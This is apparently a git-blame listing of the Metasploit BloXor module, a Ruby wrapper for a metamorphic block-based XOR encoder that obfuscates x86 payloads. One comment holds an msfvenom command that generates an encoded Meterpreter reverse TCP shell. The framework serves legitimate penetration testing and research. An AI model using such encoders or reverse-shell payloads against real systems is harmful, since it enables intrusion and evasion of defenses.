2013-01-10 17:39:40 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-01-10 17:39:40 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex/encoder/bloxor/bloxor'
|
|
|
|
|
|
|
|
#
|
|
|
|
# BloXor is a cross architecture metamorphic block based xor encoder/decoder for Metasploit.
|
2013-03-07 23:53:19 +00:00
|
|
|
# BloXor was inspired by the Shikata Ga Nai encoder (./msf/modules/encoders/x86/shikata_ga_nai.rb)
|
2013-01-10 17:39:40 +00:00
|
|
|
# by spoonm and the Rex::Poly::Block (./msf/lib/rex/poly/block.rb) code by skape.
|
|
|
|
#
|
|
|
|
# Please refer to ./msf/lib/rex/encoder/bloxor/bloxor.rb for BloXor's implementation and to
|
|
|
|
# ./msf/lib/rex/poly/machine/machine.rb and ./msf/lib/rex/poly/machine/x86.rb for the
|
|
|
|
# backend metamorphic stuff.
|
|
|
|
#
|
2013-03-07 23:53:19 +00:00
|
|
|
# A presentation at AthCon 2012 by Dimitrios A. Glynos called 'Packing Heat!' discusses a
|
|
|
|
# metamorphic packer for PE executables and also uses METASM. I am unaware of any code having
|
2013-01-10 17:39:40 +00:00
|
|
|
# been publicly released for this, so am unable to compare implementations.
|
|
|
|
# http://census-labs.com/media/packing-heat.pdf
|
|
|
|
#
|
|
|
|
# Manually check the output with the following command:
|
|
|
|
# >ruby msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.2.2 LHOST=192.168.2.1 LPORT=80 -a x86 -e x86/bloxor -b '\x00' -f raw | ndisasm -b32 -k 128,1 -
|
|
|
|
#
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Rex::Encoder::BloXor
|
2013-01-10 17:39:40 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Note: Currently set to manual, bump it up to automatically get selected by the framework.
|
|
|
|
# Note: BloXor by design is slow due to its exhaustive search for a solution.
|
|
|
|
Rank = ManualRanking
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'BloXor - A Metamorphic Block Based XOR Encoder',
|
|
|
|
'Description' => 'A Metamorphic Block Based XOR Encoder.',
|
|
|
|
'Author' => [ 'sf' ],
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'EncoderType' => Msf::Encoder::Type::Unspecified
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def compute_decoder( state )
|
|
|
|
|
|
|
|
@machine = Rex::Poly::MachineX86.new( state.badchars )
|
|
|
|
|
|
|
|
super( state )
|
|
|
|
end
|
2013-01-10 17:39:40 +00:00
|
|
|
end
|